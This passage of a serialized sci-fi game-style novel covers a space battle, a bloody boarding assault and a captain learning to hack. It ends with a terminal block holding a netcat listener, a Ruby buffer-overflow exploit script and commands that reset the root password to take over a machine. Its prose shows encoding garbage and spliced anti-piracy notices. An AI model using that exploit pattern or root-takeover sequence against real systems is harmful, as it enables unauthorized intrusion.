pull up, the particle beam would get him from underneath. He could feel his breath tightening, coupled with the G-forces being exerted on his body under such fast moving conditions. His grip tightened on the ships controls as he began a sudden swerve to the right into the first set of missiles. He focused as time slowed down and his field of vision shrunk, aiming his UV lasers at the incoming missiles. With both groups moving at insanely fast speeds, he shouldn¡¯t have been able to hit anything, but he could calculate the trajectories of the missiles as they moved to intercept him. He shot out the beams from the ship, taking out two of the incoming missiles. His team took out an additional six, but two of them made impact and rattled the ship. He felt like he was a jellybean inside of a jar being shaken by an angry kid, but he tried to control his breathing and get himself under control. He didn¡¯t have time to slow down as the particle beam tore out from the Void Terror, scoring another blow against his beleaguered ship. Chunks of metal tore off the sides and underbelly as the beam danced across it, and Thomas focused harder. He could smell copper in the air, but couldn¡¯t let that stop him. Another volley of missiles was being loosed, and he nosedived straight towards the Void Terror. He focused his laser beams at the particle beam, just as it geared up for another shot. He fired all three of his beams before jerking aside at maximum thrust. His ship took another blow, but he saw in satisfaction that the particle beam had ripped free from the Void Terror. At least that wouldn¡¯t be a problem. Then ten 300 million joule beams began firing at him, making him jerk and toss about as he maneuvered the ship to avoid their fire. The crew on the Void Terror knew what they were doing, using lead and lag to guess where he¡¯d go. He yelled out to the crew through his helmet, ¡°Missiles engage the lasers, take them out!¡± His people instantly complied, shooting off a salvo that took out four of the laser guns. Mark grimaced at the fact that his best weapons had taken out less than half of the other ships offensive capabilities, but he knew that even that was lucky with an inexperienced crew whose equilibriums were off from all the turning and sudden moves. Mark kept track of all the missiles chasing after him while he turned, jerked, and flipped his ship for survival. Space suits fortunately quarantined any expelled waste or the crew of his ship would have face masks filled with vomit from the wrenching turns. Mark couldn¡¯t see anything from his own eyes anymore, and he only heard a tinny, ringing noise in his ears. He used the ship sensors to see where he was relative to the Void Terror, and strafed the laser turrets with his own while he dodged them. He had carefully allowed the trailing missiles to follow him in a uniformly line, some burning up as they were caught in the Void Terror¡¯s laser fire. He slowed the pace of his ship down, allowing them to catch up within a few miles of his position. He gunned his ship and let it skip across the bow of the Void Terror like a skipping stone, without ever making contact. Two dozen missiles impacted the top of the Void Terror, ripping open a hole in the cargo bay of the Void Terror. Mark wanted to celebrate, but felt weightless. He slumped forward in his pilot¡¯s seat, unconscious. Boarding Luciana let her World regain focus. She¡¯d thrown up, several times, inside of her helmet, glad that the system pulled away her stomach contents from her face. She¡¯d need to find the engineer who invented that and buy him a few cold ones. Her World was still spinning when she unbuckled herself and released the emergency harness tethering her to the ship. Captain Smith hung loosely from his support harness, giving the impression that he was dead. She staggered towards him and began to unbuckle his harnesses, gently lowering him onto the floor of the ship. She took off his helmet and looked at him. Blood poured out of his nose and mouth, so she immediately turned his head to the side and used her finger to scoop out the blood from his mouth. She didn¡¯t want him to die from asphyxiation. While she was doing that, EVE sent out an alert to get the medic team to the bridge of the ship. Luciana pulled up the Captain¡¯s eyelids. His eyes were filled with blood, but she could see from the blood bubbles that gurgled up as he breathed that he wasn¡¯t dead. The blood was a deep red, which gave her some relief. If it was a pink color, it could mean that the cerebrospinal fluid was leaking into his blood, which indicated a fatal condition. She knew he would be out of commission for a while, but couldn¡¯t understand what made him suffer these side effects. Nootropic stimulants maybe? Perhaps that explained why he went from a very ordinary Captain to an elite fighter pilot. They¡¯d have to be heavy duty to have such a dramatic effect on him. She put those thoughts out of her mind. Stabilizing him was most important, other considerations could wait. The medical gurney arrived and she helped put him on board and move him. She was now the Commanding Officer of the ship. ¡°SFC John Stelmach¡±, she said, ¡°You¡¯re acting officer of the bridge. Take us to the entrance and prepare for boarding.¡± He turned his chair around and saluted. She switched her communication channel to all. ¡°Attention. The Captain is currently down, I¡¯m the Commanding Officer until he has recovered and been declared medically fit to resume command. All personnel not necessary for flight, meet me in the loading dock. We¡¯re preparing for assault and breach.¡± She had run through the option to assault or not to assault. They might be able to escape. But she didn¡¯t like the odds. The Captain was out, and they hadn¡¯t destroyed all of the lasers or missile turrets on the Void Terror. As soon as they tried to escape, they¡¯d have their backs to the bigger ship, and the number of sensors that were rear-facing were less than the ones that were forward facing. Most importantly though, if the other ship survived, their mission would be compromised. Someone knew who they were, and she had to find out how. She ran to the loading dock as quickly as she could. She selected the smart locker and went through the combinations of equipment they had available. She¡¯d need to do some serious shopping if they managed to get out of this. Ideally, they¡¯d have mechanical turrets and robots they could use to secure areas after they left, insuring a proper egress route if they had to turn around. They¡¯d also have service drones that could act as a forward push to resupply units without them having to swap gear in the middle of combat. Unfortunately, they didn¡¯t have that. The haphazard way the groups were arranged and the gear they wore would lead to a very quick defeat against a trained group, or hell, even an untrained group with superior numbers. She made her selections as best she could and then looked at the load out screen.
Locker Gear
Load out settings: Assault Group. Responsibilities: The assault group¡¯s primary responsibility is to clear all rooms and areas out. - [X] Laser Rifle. Attachment - Enhanced Targeting Scope (ETS) for Team Leaders. The ETS allows Team Leaders to tag and highlight targets for concentrated firepower by their fire team. - [X] Reflex bodysuit - Light Armor. Reflex Body armor is useful for stopping projectile weapons, but not useful against laser weapons. Light armor is designed to allow maximum movement. - [X] Reflex gloves - Light armor. - [X] Reflex boots - Light Armor. - [X] Three High-Explosive Material (HEMP) Grenades. - [X] Two Concussive Grenades. - [X] Two sticks of C4. - [X] One hundred yards of detonator cord. - [X] One Vibroblade knife. - [X] One Vibroblade sword. - [X] One laser pistol sidearm. Support Group. Responsibilities: The support group¡¯s primary responsibility is to provide logistic, engineering, and medical support to the assault group. Secondary responsibility is to provide overwatch support to the assault group. If the assault group is too damaged, may be called in to fill the ranks as needed. - [X] Laser Rifle. Attachment - Enhanced Targeting Scope (ETS) for Team Leaders. Attachment for other members - HEMP grenade launcher. - [X] Reflex bodysuit - Heavy - [X} Reflex gloves - Heavy - [X] Reflex boots - Heavy - [X] Six HEMP Grenades. Security Group. Responsibilities: Thesecurity group¡¯s primary responsibility is to hold a position after the assault group has cleared it out. If they are not holding a position, they must move to assist the Assault Group. Security group should also hold all areas that can potentially enable new targets to enter the area, such as stairs. Any security at the back of the unit should prepare a defensible position for potential inbound hostiles during an emergency egress. - [X] 4mm Gauss Light-Support Weapon (LSW). Attachment - Enhanced Targeting Scope (ETS) for Team Leaders. - [X] Reflex bodysuit - Heavy - [X] Reflex gloves - Heavy - [X] Reflex boots - Heavy - [X] One Gatling Laser issued to entire squad, to be used to hold the landing area.
She supervised her team. She broke each team into color-coded groups: Red for assault, blue for security, and white for support. Each team would also be assigned a callsign, Whiskey Alpha for the first support team, Whiskey Bravo for the second support team, Bravo Alpha for the first security team, and so forth.This story originates from a different website. Ensure the author gets the support they deserve by reading it there. The Chain of Command (COC) was established based on brightness of the unit¡¯s color. As a team member was immobilized above a personnel¡¯s rank, their indicator would brighten up in their Heads-up Display (HUD) along with their teammates. She really wished they had time to rehearse this, but every second she spent dallying meant that the Void Terror¡¯s crew could reinforce position and setup ambushes and choke points. Time was critical. She had to divide up the teams, a difficult choice. She wanted to use the entire boarding marines party as the assault force, but that would leave inexperienced people to provide security. Bad security meant they could be ambushed from behind and wiped out in an instant. She made her decisions and looked at the loud out screen in her HUD.
Assault Squadrons
Team Romeo Alpha: Emily Gu?minski - Boarding Marine. Team Leader, SSG (E6 - Staff Sergeant). Grace Fugiel - Boarding Marine. Squad Leader, SGT (E5 - Sergeant). Sergio Murphy - Boarding Marine. Squad Leader, SGT. Beniamino Lloyd - Boarding Marine. CPL (E4 - Corporal). Antonia Thomas - Boarding Marine. CPL. Emiko Palmieri - Boarding Marine. SPC (E4 - Specialist). Anjali Piastowski - Boarding Marine. PFC (E3 - Private First Class). Jeffrey Mason - Boarding Marine. PFC. Team Romeo Bravo: Harumi Izban - Boarding Marine. Team Leader, SSG. Elda Schypinski - Boarding Marine. Squad Leader, SGT. Ingwaz Black - Boarding Marine. Squad Leader, SGT. Daniel Drager - Boarding Marine. CPL. Yasushi Kerntopf - Boarding Marine. CPL. Michael Omilian - Boarding Marine. SPC. Marwa Wedmann - Boarding Marine. PFC. Christopher Preuss - Boarding Marine. PFC.
Security Squadrons
Team Bravo Alpha: Lead Security Violetta Wasek - Boarding Marine. Team Leader, SSG. William Gordon - Boarding Marine. PFC. Dr. Katsuo Pakula - Medic. David Roslon - Medic. Team Bravo Bravo: Extraction Team Absalon Legezki - Boarding Marine. Team Leader, SGT. Jason Brown - Boarding Marine. SPC. Gatling Laser Operator. Team Bravo Charlie: Command And Control Luciana Smith - Executive Officer, Team Leader, 1Lt. (O2 - First Lieutenant). Fabrizio Bamburak - Engineer. SGT.
Support Squadrons
Team Whiskey Alpha: Thomas Budz - Navigator, Team Lead. SFC (E7 - Sergeant First Class). Juliusz Williams - Sensory Operator. SGT. Kameko Schodzenski - Ship Missile Gunner. SGT. Alfonsyna Edwards - Ship Missile Gunner. SGT. Team Whiskey Bravo: James Rychlinski - Ship Missile Gunner. SGT. Akira Oslaszewski - Ship Missile Gunner. SGT.
When the entire crew minus crucial personnel were in the loading bay, they began to put on their new armor and exchange in what they had selected for themselves. A few were slower about it than Luciana would have liked, but they did all comply without grumbling. ¡°Listen up while you get dressed people¡±, she yelled in a commanding military voice, ¡°I don¡¯t have to tell the jarheads this, but since this will be the first live mission many of you have participated in, this briefing will be all you get before things get hot.¡± ¡°We will be using a subdued entry method for this operation. That means loud and hot when you clear a room, but otherwise, silence. Team leads will mark the spots and issue all orders, keep the channels clear of all non-essential chatter.¡± ¡°When moving, move from cover to cover or from cover to concealment if that¡¯s not possible. If only open space remains, hug the walls and keep out of the middle of open hallways. You are not AI in a bad video game, the type far too many of you have been playing recently.¡± She gave what she hoped was a stern scowl at the people to whom she was referring, but the guilty parties kept their heads down and put on their gear. That was good, lower-enlisted survival instincts kicking in. ¡°Use dynamic entry. Assault teams, do not move in front of doors or attempt to assault directly in front. Use eight-balls for dynamic entry, try to use non-traditional means of entry like windows or through the wall. Engineer Fabrizio and I will attempt to hack into the mainframe and get layout for non-traditional routes and mark your HUD as appropriate.¡± An eight ball was an eighth of a stick of C4 stuck to an entry way to blow it out. ¡°If you must use the doorways, make sure that Support Squadron is in place to shoot a grenade in there immediately after breach to clear the area and provide cover fire if needed. Do not lose your support squad by moving too fast, practice tactical patience at all times.¡± ¡°Security Squadron Bravo Alpha, do not let the medics attempt to retrieve any injured personnel. No person should move by themselves, a battle buddy must be present at all times. If your partner is injured, do not engage the enemy any further than necessary to clear an egress path to the medics. Do not be a hero. Take your battle buddy to the medics and reinforce the security squadron until another partner is available for you to partner with. At that time, reinforce either the squadron with the least people on it or the Alpha squadron.¡± ¡°In the event of overrun, team leaders are responsible for moving back to the last foothold and taking accountability of their team there. No one gets left behind and there will be no suicide stands made. Remember your training and CEPP: Cover all immediate danger areas, eliminate all threats, protect your buddy, and pick up any slack as it arises. Are my orders understood?¡± A strong ¡°Yes Ma¡¯am¡± echoed throughout the headsets as they¡¯d all finished equipping while she gave them her speech. She hoped it would be enough. She knew she couldn¡¯t distill years of military training into one speech and have it stick, but she hoped it would be enough to prevent the non-combats from doing anything that would get themselves killed. She opened up the exterior door to the loading bay, flanked by the security team ready to reign fire on anyone who hoped to mount an offensive, and looked inside. Their breach area was only a few meters across, and the Bravo Bravo support team fired off their grappling hooks, secured them, and then rappelled inside the gap. When no hostile contact was made, team Bravo Alpha followed, and then her team went inside. The teams immediately set up a 360 perimeter. They were inside a cargo hold, which gave them a useful vantage point for building a barricade and setting up an obstacle belt in case they were chased by enemies. Team Bravo Alpha began doing that, and she was relived that she didn¡¯t have to micromanage the group in order for them to coordinate effectively. Once all the teams were inside, the medics began setting up emergency evacuation kits for the wounded. She knew they¡¯d need them. The Assault teams were preparing to leave when she gave them the order to halt. ¡°Check for rats.¡± She said in the comms. She was glad they were assaulting from the top, as a top-down assault was much easier to secure than a bottom-up one. The ventilation and temperature shafts above might be hiding someone in them, and while it would be a tight squeeze, she¡¯d rather not find out after the assault teams left that there was an unwanted guest hanging around. Her engineer began looking for a way to interface with the ship¡¯s computer system via the cargo storage computer. By military regulation, each computer unit should be sandboxed from interfacing with any other system that was non-essential, but most civilian ships didn¡¯t do that. Unfortunately, he¡¯d be mucking about with the encryption system while they needed intel, and she didn¡¯t want to keep the teams stationary while the enemy had a chance to reinforce and barricade key points. Fortunately, no one was hiding in the ventilation shafts, and the assault team moved out. Contact Sergeant Emily Gu?minski lead her assault team out of the cargo bay. Her first choice dismayed her a bit. The orders were to use a subdued approach. Typically, she¡¯d lob grenades down the stairwell they approached to the lower floor, then go in guns blazing. But if there wasn¡¯t an ambush waiting in the stairwell, then the element of surprise would go away. Besides, she imagined that it was more likely that they¡¯d put mines or some other boobytrap in a stairwell than attempt a stand in a narrow, restricted corridor. Her suspicions as she cracked open the door and swept the grounds with her Enhanced Targeting Scope. It picked up a sliver of a detonation cord thread, rigged to explode when the door opened. If they were caught in an explosion in a stairwell, the force multiplier from the explosion would turn her squadron into jelly. Fortunately, this wasn¡¯t a sophisticated trap, and she pulled out her vibroblade and cut through the detonation cord. She picked up the bounding mine from the blind side of the door and handed it back to her squadron, who dutifully passed it to the support squad. She kept sweeping her rifle below and above her to see if there were any other identifiable threats. Satisfied there weren¡¯t, she made her way down the stairwell. She entered into the engineering room, where two fusion reactors powered the ship. She didn¡¯t want to get into a firefight here, even if the nano carbon reinforced glass would most gunfire from doing any damage to the cores. Still, this was one theory she would happily let stay in the realm of theory. After passing through the engineering doors, they found themselves in the central hull, surrounded by fuel tanks and secondary batteries. While maybe it wouldn¡¯t be as impressive as destroying a nuclear reactor, she still hoped no one was suicidal enough to either plant traps in here or attempt an ambush. There would be no winners in that conflict. She moved inches at a time, carefully sweeping for any traps, ambushes, or choke points, but found none. Maintaining point was a grueling job, but she knew she was the one best suited for the task. She maintained military training according to rules and regulations, but knew several people under her command did not. She made a resolution that this situation would never happen again, provided they survived long enough to see the next day. The next area was the habitat area. Two full luxury cabins for pilot and copilot, 12 cabins, 13 bunk rooms, a six-bed automated sickbay, a briefing room, gym, and mini workshop. Luxurious compared to their cramped accommodations. Unfortunately, a terrible place to be tactically. Each group had to enter two per room, and with 31 rooms in this one area, she did not have the personnel necessary to mount a proper assault. Her team could take four rooms, team Romeo Bravo could take four rooms, leaving twenty-three points for ambush. She waited for the support team to setup their laser rifles to attack anyone who walked out of the rooms. She wished that the security group could join them and setup heavy rifles in the area, but they were back at the stairwell, preventing anyone from flanking them. She¡¯d just have to make due. Each battle-buddy unit went door to door, planting the eight ball charges on each door. They made sure to move as stealthily as possible while the support team provided overwatch. Their detonator cords synced up at a main point as she and SSG Harumi, Romeo Bravo¡¯s Team Leader, counted down to the breach. They both triggered the explosives as their teams began strafing fire across the corridor, attempting to suppress anyone who might want to venture out. She tosses a grenade into the room she was assigned and waited for the explosion before going in. She turned quickly and surveyed the small room, finding a body blown to bits scattered across the wall. The room looked like a Jackson Pollock painting gone horribly wrong. Her gag reflex started a bit on her, but she exited the room in time to see a pair of grenades getting rolled out from one of the rooms. She quickly ducked back inside the room and pulled her battle buddy down before he could exit the room. Unfortunately, the support groups stood in the middle of the room, blasting away at the walls like they were in a Rambo movie. They never saw the grenades lobbed towards them, and had no way of ducking from the blast radius. The grenades went off, shooting a blast of shrapnel and concussive force through the support teams. Their upper torsos blew off, and only their boots and portions of their lower torso remained. The room was covered in a mix of red smoke from the blood mixing with the air and trailing whips of black smoke from the concussion grenade. The counteroffensive began as a group of ten men came out, shooting 7mm carbine rifles at her group. They used the rooms as concealment, but chunks of it were taken off with each series of blasts. One bullet smashed into Emily¡¯s leg, and though her pants dispersed the damage and prevented it from puncturing, it still felt like being hit with a 100 miles per hour fastball. She rolled off her partner and low-crawled to the door, using her rifle to tag all the enemies in the area and put them down. They didn¡¯t move in the coordinated fashion of military fighters, but did kill two of her people when six of them mowed down a room simultaneously, unleashing a bullet storm that the trapped team members in a death trap that they couldn¡¯t avoid. Two of the icons for her team members went black. She fired from her doorway with her battle buddy putting her rifle above her. They took out three of them immediately, one jumping for cover and the other diving useless in the wrong direction, landing in the middle of the floor. He fumbled his rifle around and tried to get off a shot, but Emily and her partner Grace took the bastard apart together, laser shots searing completely through him and taking him out.The story has been taken without consent; if you see it on Amazon, report the incident. The fifth aimed his rifle from behind around a doorway, blindly spraying bullets at them. Emily saw other attacker¡¯s bodies on the ground, and guessed that the ten she saw initially weren¡¯t the only ones there. She pulled a concussive grenade out, cooked it, then threw it at the fifth attacker. The detonation of light and sound shocked him and he dropped his rifle while he curled up and covered his ears. Grace coldly walked up on him and put a laser blast through his center mass, ending him. His body frozen in a fetal position, hands covering his ears. They could hear gunshots going off inside the gym area, but Grace maintained enough combat savvy to wait for Emily to join her before pursuing after the gunfire. They hugged the walls with Grace maintaining point while Emily scanned for any threats they might have missed behind. Emily checked her HUD and realized that four more of her people were KIA, leaving her and Emily as the last survivors from her squadron, and fighting up the corridor continued in the workshop. They entered into the gym and saw the assault team¡¯s bodies strewn about with the bodies of the crew of the Void Terror. In the middle of the room, one of the team members of Romeo Bravo was fighting off a combat droid with his vibroblade sword, and having no luck with it. The machine batted away his attack and cut his arm off, before quickly reversing the blade and severing his head. The blood spurted out in a quick pulse before the cauterization stopped it. Emily and Grace reacted a moment too late from the blood-filled horror as the robot ran at them. Grace attempted to shoot it down with her rifle while Emily pulled out her vibroblade sword and turned it on. The combat droid ran up to Emily as she attempted a thrusting stab, a bit slower than normal from her damaged calf. The droid nimbly dodged aside and counterattacked, which Emily blocked, but it lashed out a devastating kick at Grace and destroyed her rifle. Emily kept trying to land quick, thrusting attacks at the machines body, but couldn¡¯t land anything on the far faster and technical combat droid. Grace pulled out her vibrosword and attempted to destroy the droid as well, but it maneuvered itself so that the girls couldn¡¯t flank it, and ended up in each other¡¯s way. The droid lashed out with a front kick at Grace and caught her squarely in the chest, throwing her back several feet and sending her crashing to the wall. Emily was stuck on the defensive, narrowly managed to block the rapid attacks, and the combination of watching out for the droids blade and feet made her fight in a strictly defensive manner. She felt her leg starting to give out from constantly putting pressure on it while retreating and circling around the elusive combat droid. She had a sudden memory of her lazy ass Captain. He¡¯d use a tactic called ¡°defanging the snake¡±, where he said you shouldn¡¯t worry about striking a lethal blow against a superior enemy, simply attack its most exposed weapon. She figured it was as good a time as any to test out her Captain¡¯s combat advice, as her traditional training wasn¡¯t yielding any fruit against her opponent. She feinted another attack at its head and chopped its hand off instead. But in the fraction of a second it took for her to chop off its hand, the droid simply reached out and grabbed the vibroblade in its other hand, blocking her attack and launching a side kick into her stomach. She tumbled over and landed, maintaining her grip on the sword even as she went down. She weakly tried to defend the robot¡¯s attack, but it hit her blade hard, sending it flying out of her grasp. She fumbled for her vibroblade knife as the droid prepared its killing blow. Then a laser shot popped off the droid¡¯s head, sending it tumbling to the ground. She saw Grace with a rifle that she¡¯d recovered from one of their killed teammates, the blood dripping over it. Emily pulled herself up to her feet and recovered her rifle. She had the shakes from the exertion and adrenaline dump of combat, making her hands rattle. She tried to calm herself, but knew they needed to check the other rooms. She peered outside with her rifle trained for threats, but only saw three of team Romeo Bravo waiting. They were maintaining a defensive perimeter trained on the next set of doors leading out. Daniel Drager was now the Team Lead for Romeo Bravo. She and Emily went about looking for any survivors on the assault team and to execute any remaining survivors amongst the Void Terror. They found two survivors and took them to the medical bay. The fortunate thing about droid med bays is that they didn¡¯t care which side you fought for. They began suturing, cauterizing, and injecting nanobots to heal their companions. Still, they wouldn¡¯t be able to fight for any meaningful time. She hit her comm-set on and set it to all. ¡°This is team leader Staff Sergeant Emily Gulminski of Romeo Alpha. We fought thirty enemy forces in the habitat area on the second floor. All thirty are down. Both support teams of Whiskey Alpha and Whiskey Bravo are down. Only two on my team are still functional, two are in critical condition in the med bay, and three survivors from team Romeo Bravo are still in play. Hostile forces are estimated at forty strong, judging by the size of the habitat area. Over.¡± She heard Daniel Drager¡¯s voice come in on the comm line. ¡°This is acting team lead Corporal Daniel Drager. I am confirming team leader Romeo Alpha¡¯s assessment. Over.¡± ¡°This is team lead Staff Sergeant Violetta Wasek for Alpha Bravo reporting in. Three hostiles attempted a flank via the stair well, we put them down. Over.¡± ¡°Lieutenant Luciana Smith reporting in. Assault team, stand guard and act as a security team for your area. Med team on Alpha Bravo, move up in position and guard team members in the med bay area. When they are stable enough to move, fall back to Alpha Bravo¡¯s position and then back to the Forward Operating Base to medically extract team members. I will be joining up as team lead for assault group Romeo Bravo.¡± Emily hit her comm. ¡°Understood ma¡¯am. Out.¡± Hangover Mark woke up feeling like his head had been used as a human pi?ata. His nostrils felt like someone had shoved two golf balls up them, each beat of his heart sent pain rippling throughout his entire head. He tried to open his eyes, but couldn¡¯t see. Sudden fear flooded his chest, and he began thrashing about wildly. ¡°Mfm adsd sdljkm?¡±, he said. ¡°Relax¡±, EVE said in his head. ¡°You attempted to use Modular Abilities beyond your piloting ability. I helped, but you suffered massive brain trauma as a result. The part of your brain that regulates speech is damaged, as are the parts that enable vision. You¡¯re not blind, but you need to heal. Nanobots are repairing the damage now. The fact that you¡¯re awake means the most critical damage is healed.¡± ¡°Wlkj ljkjmiot?¡±, he said in his head. Even though he knew what he wanted to say, getting the correct sequence of words to formulate was a task currently beyond him. Fortunately, EVE seemed to understand him. ¡°Lieutenant Smith is fighting aboard the attacking vessel. She¡¯s beyond the range of the ships sensors, and I can¡¯t help her without a human bridge between her and this ship. Since no hostile forces have boarded this ship, I assume that she¡¯s still fighting.¡± He decided to do an inventory check of himself instead of struggling with the restraints any further. He worked his way from the bottom, curling his toes on both feet, then flexing his calves, flexing his leg muscles and gluteus, up to his abs, chest, arms, and then fingers. Everything checked out, but there was a numbness in some areas. He guessed that portions of his brain were still being repaired that controlled that part of sensory input. Still, even if he was effectively blind, the ships sensors were still accessible. That gave him an idea. He used his limited interface skill to search throughout the ship. Unfortunately, any video feeds were inaccessible to him since that part of his brain was still damaged, but he could pick up audio feed. He didn¡¯t like what he heard. ¡°Seventeen of our team members are down.¡± John Stelmach said grimly. Mark remembered that John was the Chief Navigations NCO, and guessed that he¡¯d been put in charge of the ship while Luciana was busy with the assault. EVE confirmed his guess. ¡°What do we do if they get wiped out?¡± Oliver Kwityn asked. Oliver was the chief engineer. ¡°Well, if that happens, you take the sensor data we¡¯ve gathered on this ship, use an emergency evacuation pod, and aim yourself at the nearest planet. I¡¯ll hold off the attacking forces and send out an emergency distress signal, along with your coordinates. You report the ship that attacked us and what happened.¡± ¡°What will you do?¡± ¡°I¡¯ll hold them off for as long as I can with the remaining crew. If they look like they¡¯re going to take the ship, I self-detonate. That¡¯s why you need to get gone as soon as they board.¡± There was a pause between the two men. ¡°Why don¡¯t you come with me?¡± Oliver asked. ¡°Because, a Captain always goes down with their ship.¡± Oliver started to argue, but John cut him off. ¡°If we all evacuated, they¡¯d notice and just pick up the ejection pod. You need to be gone long enough to make it hard for them to follow, and someone has to stay to destroy the ships or they can just get your coordinates from it. If you survive, just name your kid after me to help my memory go on.¡± ¡°Thanks¡±, Oliver said in a whisper. ¡°Hey, don¡¯t go all maudlin on me. We¡¯re going to be fine. I don¡¯t care how many people they have, they¡¯re not getting past Lieutenant Smith. She¡¯s a fighter.¡± The attempt to inject some levity into the situation helped, but Oliver couldn¡¯t help but be more than a little touched that his friend offered to sacrifice his life to save him if the ship fell. Mark opened his eyes again and realized that now, he could see. ¡°Can I say real words?¡± he asked out loud. Apparently, yes he could. He looked down at his restraints and asked out loud, ¡°EVE, could you let me out of these things?¡± ¡°I can, but I caution you against any further activity. You are not at full health.¡± He glanced at his HUD to see what his vital stats were.
Captain Mark Thomas
Health: 55 out of 100. Active Debuffs: - Neuronal damage. You have sustained brain damage. - 2 to intellect. - 3 to health. -2 to dexterity. 40 points remain unallocated.
¡°EVE, won¡¯t these fancy nanobots keep repairing me while I¡¯m on the go?¡± ¡°No¡±, she replied, ¡°They require assistance from the ship. Without my guidance or a medical bots help, nanobots are inert and unable to follow any instructions. As soon as you exit out the ship, you only have limited interface options available, and that¡¯s not enough to command them. Please lie down while you finish healing.¡± ¡°Not a chance. Want to attack my ship? Kill my people? I¡¯ll filet every one of the bastards and paint the ship red with their blood. I¡¯ll crack their bones open and suck the marrow out. Now EVE, LET ME OUT OF THESE RESTRAINTS!¡± EVE complied and the harnesses holding him down vanished. He jumped out of the medic bay and ran down the halls to the cargo loading area. He fell down a few times as he ran, vertigo overtaking him, but he pulled himself back to his feet and kept running. He was fixing to rappel out of the vehicle when EVE said, ¡°Wait! You aren¡¯t loaded for combat. Getting yourself killed does no one any good!¡± He grudgingly admitted that she did have a point, and went to the SMART locker. He saw that Lieutenant Smith had already setup a nice set of pre-selected menus. He felt a pang of guilt, remembering how ineffective he¡¯d been at trying to figure out how to equip his personnel. He pushed it aside as he hurriedly dressed in the Assault gear. He went back to the rappel station and waited for EVE to warn him about anything else, but she didn¡¯t have anything to say. He opened the cargo doors and rappelled into the Void Terror ship. His entrance startled the Security group guarding the area, but they thankfully didn¡¯t open fire on him. Sgt Bamburak busied himself trying to hack the computer system via the cargo computer, but didn¡¯t seem to be having any luck. He saluted the Captain until Mark replied, ¡°At ease soldier. No saluting during a combat mission, understand?¡± The Sgt nodded and Mark went to the computer to supervise what Bamburak had been doing. ¡°Any luck on it?¡± Mark asked. The Sgt shook his head in frustration. ¡°No sir. No matter what I do, I can¡¯t seem to get through the system. It locks me out each time.¡± ¡°EVE¡±, Mark thought in his head. ¡°Show me the skills necessary for hacking.¡± He felt like a bit of an idiot for not leveling up his ship skills after gaining his new class, but he could make up for that mistake here.
Hacking for Dummies: Tutorial
So, you want to be a hacker eh? Well buckle up for the bad news, this isn¡¯t like the movies and there isn¡¯t anything flashy about it. Skills that make a good hacker: - Computer Operations. Exploit OS and kernel level loopholes and run intrusion software or gain admin access to a computer. - Computer Programmer. Write OS and kernel level exploits and run them on a computer. - Cryptography. Gain an understanding of common cryptographic security measures and how to countervail against them. - Electronics Operation, communications and/or surveillance. Intercept surveillance or communications to gain access to classified information. - Electronics Repair. Learn to exploit hardware level intrusions and modify it to gain access. - Fast-Talk. Launch phishing or social attacks to convince people to give you information you shouldn¡¯t have access to. Since many passwords rely upon personal data, use this in combination with Computer Operations to guess the most likely passwords. - Research. Find documented security holes and exploit them. Requires prerequisite knowledge of Computer Operations or Computer Programming to use successfully. - Scrounging. Hey, sometimes people just leave passwords lying around.
¡°Can you help me out with any of this?¡± Mark asked in his head. ¡°No¡±, came EVE¡¯s reply. ¡°I¡¯m a military computer. These things fall outside my realm of knowledge. You¡¯d have to upgrade the ship¡¯s knowledge base to gain more access.¡± ¡°How the hell could you not know how to do this? Isn¡¯t this just like¡­ I don¡¯t know, like speaking your native language or something?¡±The author''s narrative has been misappropriated; report any instances of this story on Amazon. ¡°No. It¡¯s more akin to moving around in a human body versus having a doctor¡¯s knowledge about a human body. They are completely different things.¡± Mark resigned himself to spending the points. In most video games, choosing stats wasn¡¯t a big deal. The game played on in the exact same scenarios, so it was easy to know what to spend on. But in a Proxima World, the situation could change rapidly. Something that looks like a good choice for one situation ends up being catastrophically wrong for another. Player¡¯s typically held their points close to their chest until they needed them. Well, he needed them. Leveling up a skill considered very hard used a simple squared formula. Each level of skill points was double the level needed, with at least one point needed to put it in to the realm of known unknown. That gave you enough skill to talk to someone who knew about the skill in question to give you more information about it, but not enough to know anything more about it than that it existed. That was level zero for a very hard skill and cost one point. Going to level one cost two points, level two cost four points, level three cost eight points, and so on. He figured he could get to level five of computer programming and computer operations, thirty-two points total, and hoped the would be enough to crack the security system. If he¡¯d been a hacker in real life, he probably could have figured out whether to put more points into computer operations or computer programming, but at least his electronics operation skill level 2 (communications and surveillance) gave him some clue on how to operate a computer. Otherwise, it would be real embarrassing to know everything about a computer¡¯s source code and runtime environment, but have no idea how to turn it on or use the keyboard. He selected level 5 in both skills and a new set of memories emerged in his head. This time, while he was at West Point, he spent his free time writing computer software and working on operating systems for various hardware. He used it to play practical jokes on his friends, like making their mouse move randomly when they were typing, or have the computer setup a voice call with their parents when they were walking around the room naked. He knew that for this type of computer OS, if he pressed multiple keys at certain exact spots and hold them down for a few seconds, a terminal prompt would open. As soon as he pressed and held it, a small terminal window popped up. Success. He began to write his code:
Terminal Prompt
while true; do nc -vv -l -p 4444 -e ./; done # listening on [any] 4444 vim ./exploit.rb require ''socket'' s = TCPSocket.new("localhost", 4444) payload = "A"*140 + [ 0x42424242, ].pack("I*") s.write(payload) s.close() :q # Segmentation fault (core dumped) gdb --quiet ./ core # Program terminated with signal 11, Segmentation Fault objdump -D ./ | grep write # 134513452 R_386_JUMP_SLOT write objdump -D ./ | grep read # 134518300 R_386_JUMP_SLOT read vim ./exploit.rb require ''socket'' s = TCPSocket.new("localhost", 4444) cmd = ARGV[0] + "\0" buf = 0x08049530 read_addr = 0x0804832C write_addr = 0x0804830C func_addr = 0x43434343 payload = "A"*140 + [ cmd.length, buf, 0, func_addr, read_addr ].reverse.pack("I*") s.write(payload) s.write(cmd) puts(s.read) s.close() :q ruby exploit.rb "\"root:hacker_password\" | chpasswd" su - root # Enter password hacker_password login root # Hello System Administrator! Welcome to the console!
